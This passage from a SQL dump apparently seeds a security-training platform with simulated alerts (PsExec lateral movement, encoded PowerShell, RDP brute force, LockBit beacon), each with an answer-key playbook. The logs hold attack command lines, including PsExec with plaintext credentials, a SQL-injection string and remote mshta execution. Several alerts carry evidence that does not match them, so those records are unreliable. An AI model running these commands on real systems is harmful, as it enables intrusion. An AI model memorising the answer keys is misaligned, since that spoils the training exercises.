port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:15:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"RDP-SERVER\\\",\\\"failed_attempts\\\":37}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(697, 'ALPHV Ransomware Reconnaissance Activity Detected', 'medium', 'Splunk', 'Suspicious use of PsExec detected, indicating potential lateral movement associated with ALPHV ransomware.', 'Lateral Movement', 'T1077', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T02:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.12\",\"dst_ip\":\"10.0.0.23\",\"username\":\"svc_admin\",\"hostname\":\"CORP-SERVER-01\",\"command_line\":\"psexec.exe \\\\\\\\10.0.0.23 -u admin -p password123 cmd.exe\"}', '2026-01-11 13:49:48', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.12\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Source IP involved in lateral movement\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Destination IP involved in lateral movement\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"psexec.exe \\\\\\\\10.0.0.23 -u admin -p password123 cmd.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"PsExec usage for lateral movement\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"PsExec is commonly used for lateral movement, especially in ransomware operations.\"}', 'Intermediate', 'EDR', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.344Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T02:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.12\\\",\\\"dst_ip\\\":\\\"10.0.0.23\\\",\\\"username\\\":\\\"svc_admin\\\",\\\"hostname\\\":\\\"CORP-SERVER-01\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\10.0.0.23 -u admin -p password123 cmd.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.344Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T02:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.12\\\",\\\"dst_ip\\\":\\\"10.0.0.23\\\",\\\"username\\\":\\\"svc_admin\\\",\\\"hostname\\\":\\\"CORP-SERVER-01\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\10.0.0.23 -u admin -p password123 cmd.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.344Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T02:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.12\\\",\\\"dst_ip\\\":\\\"10.0.0.23\\\",\\\"username\\\":\\\"svc_admin\\\",\\\"hostname\\\":\\\"CORP-SERVER-01\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\10.0.0.23 -u admin -p password123 cmd.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.344Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T02:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.12\\\",\\\"dst_ip\\\":\\\"10.0.0.23\\\",\\\"username\\\":\\\"svc_admin\\\",\\\"hostname\\\":\\\"CORP-SERVER-01\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\10.0.0.23 -u admin -p password123 cmd.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.344Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T02:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.12\\\",\\\"dst_ip\\\":\\\"10.0.0.23\\\",\\\"username\\\":\\\"svc_admin\\\",\\\"hostname\\\":\\\"CORP-SERVER-01\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\10.0.0.23 -u admin -p password123 cmd.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(698, 'False Positive: Legitimate User Activity Mistaken for Command Injection', 'low', 'IDS', 'An alert was triggered for a suspected command injection, but the activity was identified as a legitimate administrative task.', 'Web Attack', 'T1190', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T05:00:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"192.168.2.15\",\"dst_ip\":\"192.168.2.20\",\"username\":\"admin\",\"hostname\":\"WEB-SERVER\",\"request_body\":\"ping -c 4 8.8.8.8 && echo test\",\"url\":\"http://192.168.2.20/admin/execute\"}', '2026-01-10 23:39:43', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Source IP of internal admin machine\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.2.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Web server internal IP\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"ping -c 4 8.8.8.8 && echo test\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Legitimate administrative command executed\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"Upon review, the command was identified as a routine administrative task, not malicious.\"}', 'Intermediate', 'EDR', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.345Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T05:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"dst_ip\\\":\\\"192.168.2.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"WEB-SERVER\\\",\\\"request_body\\\":\\\"ping -c 4 8.8.8.8 && echo test\\\",\\\"url\\\":\\\"http://192.168.2.20/admin/execute\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.345Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T05:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"dst_ip\\\":\\\"192.168.2.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"WEB-SERVER\\\",\\\"request_body\\\":\\\"ping -c 4 8.8.8.8 && echo test\\\",\\\"url\\\":\\\"http://192.168.2.20/admin/execute\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.345Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T05:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"dst_ip\\\":\\\"192.168.2.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"WEB-SERVER\\\",\\\"request_body\\\":\\\"ping -c 4 8.8.8.8 && echo test\\\",\\\"url\\\":\\\"http://192.168.2.20/admin/execute\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.345Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T05:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"dst_ip\\\":\\\"192.168.2.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"WEB-SERVER\\\",\\\"request_body\\\":\\\"ping -c 4 8.8.8.8 && echo test\\\",\\\"url\\\":\\\"http://192.168.2.20/admin/execute\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.345Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T05:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"dst_ip\\\":\\\"192.168.2.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"WEB-SERVER\\\",\\\"request_body\\\":\\\"ping -c 4 8.8.8.8 && echo test\\\",\\\"url\\\":\\\"http://192.168.2.20/admin/execute\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(699, 'Suspicious PowerShell Execution with Encoded Commands', 'high', 'CrowdStrike', 'A PowerShell process was detected executing with encoded commands on an internal host. This is frequently used in obfuscation techniques by attackers.', 'Malware', 'T1059.001', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T15:42:56Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.1.20\",\"dst_ip\":\"\",\"username\":\"jdoe\",\"hostname\":\"DESKTOP-1A2B3C\",\"command_line\":\"powershell.exe -enc W3Bhd2Vyc2hlbGwuZXhlIC1jb21tYW5kIC1lbmMgU29tZUVuY29kZWRDb21tYW5k\",\"file_hash\":\"3b7b3c2a5c6a4f7b8b8b3a2c3b7c6a4f\"}', '2026-01-10 01:55:09', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -enc W3Bhd2Vyc2hlbGwuZXhlIC1jb21tYW5kIC1lbmMgU29tZUVuY29kZWRDb21tYW5k\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell commands are often used in malicious scripts.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3b7b3c2a5c6a4f7b8b8b3a2c3b7c6a4f\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"This hash is associated with potentially unwanted software.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address.\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"block_hash\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Encoded PowerShell commands indicate potential malware execution.\"}', 'Advanced', 'EDR', 7, 1, 'TECH', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(700, 'Unauthorized Access Attempt via RDP', 'critical', 'Splunk', 'Multiple failed RDP login attempts detected from an external IP address, suggesting a possible brute force attack.', 'Credential Attack', 'T1110', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T13:22:10Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.10\",\"username\":\"admin\",\"hostname\":\"RDP-SERVER\",\"failed_attempts\":25}', '2026-01-10 08:37:56', '2026-02-16 18:04:57', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address.\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"High number of failed login attempts from a known malicious IP indicates a brute force attack.\"}', 'Advanced', 'SIEM', 7, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.346Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T13:22:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"RDP-SERVER\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:31:22.346Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T13:22:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"RDP-SERVER\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:30:22.346Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T13:22:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"RDP-SERVER\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:29:22.346Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T13:22:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"RDP-SERVER\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:28:22.346Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T13:22:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"RDP-SERVER\\\",\\\"failed_attempts\\\":25}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(701, 'Suspicious Network Activity Detected', 'medium', 'Firewall', 'A large volume of data was transferred from an internal server to an unknown external IP, potentially indicating data exfiltration.', 'Data Exfiltration', 'T1041', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T16:30:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"198.51.100.75\",\"bytes_transferred\":10485760,\"hostname\":\"FILE-SERVER\"}', '2026-01-11 09:55:46', '2026-02-18 09:06:45', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.75\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous data exfiltration activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address.\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Unusual data transfer patterns suggest possible data exfiltration to a known malicious IP.\"}', 'Advanced', 'NDR', 7, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(702, 'False Positive: Legitimate Script Execution Detected', 'low', 'Wazuh', 'A legitimate administrative script was detected using mshta.exe, which can sometimes be misidentified as malicious.', 'Lateral Movement', 'T1218.005', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T12:45:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.15\",\"dst_ip\":\"\",\"username\":\"admin_user\",\"hostname\":\"ADMIN-SERVER\",\"command_line\":\"mshta.exe http://internal.domain.com/admin_script.hta\"}', '2026-01-10 21:43:29', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"mshta.exe http://internal.domain.com/admin_script.hta\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"URL is a trusted internal domain for administrative purposes.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.2.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The script execution was legitimate, originating from a trusted internal source.\"}', 'Advanced', 'EDR', 7, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.348Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T12:45:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"ADMIN-SERVER\\\",\\\"command_line\\\":\\\"mshta.exe http://internal.domain.com/admin_script.hta\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.348Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T12:45:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"ADMIN-SERVER\\\",\\\"command_line\\\":\\\"mshta.exe http://internal.domain.com/admin_script.hta\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.348Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T12:45:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"ADMIN-SERVER\\\",\\\"command_line\\\":\\\"mshta.exe http://internal.domain.com/admin_script.hta\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.348Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T12:45:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"ADMIN-SERVER\\\",\\\"command_line\\\":\\\"mshta.exe http://internal.domain.com/admin_script.hta\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.348Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T12:45:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"ADMIN-SERVER\\\",\\\"command_line\\\":\\\"mshta.exe http://internal.domain.com/admin_script.hta\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(703, 'LockBit 3.0 Ransomware Detected via Cobalt Strike Beacon', 'critical', 'CrowdStrike', 'A Cobalt Strike beacon associated with LockBit 3.0 ransomware campaign was detected communicating with a known malicious IP. The beacon exhibited process hollowing tactics.', 'Malware', 'T1059', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T03:22:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"176.32.98.45\",\"username\":\"jdoe\",\"hostname\":\"FINANCE-WS01\",\"command_line\":\"C:\\\\Windows\\\\System32\\\\rundll32.exe C:\\\\Users\\\\jdoe\\\\AppData\\\\Roaming\\\\temp.dll,EntryPoint\",\"file_hash\":\"3f8f6c41a65f4b5e3d2e0e5d4b2c6a0f\",\"domain\":\"malicious-domain.com\"}', '2026-01-10 14:55:24', '2026-02-16 18:04:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"176.32.98.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 1003 times for C2 activity\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3f8f6c41a65f4b5e3d2e0e5d4b2c6a0f\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected as LockBit 3.0 ransomware payload\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of affected host\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The presence of a known malicious hash and IP, along with Cobalt Strike beacon activity, confirms the attack.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(704, 'Suspicious Network Traffic to Fast-Flux DNS Domain', 'high', 'Firewall', 'Network traffic to a domain exhibiting fast-flux characteristics was detected. The domain is known to be associated with the BlackCat/ALPHV ransomware group.', 'Command and Control', 'T1071', 1, 'investigating', 296, '{\"timestamp\":\"2026-01-11T08:15:30Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"203.0.113.120\",\"domain\":\"fluxy-malicious.com\"}', '2026-01-10 21:54:13', '2026-03-14 21:30:13', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"domain\",\"value\":\"fluxy-malicious.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain associated with fast-flux and BlackCat C2 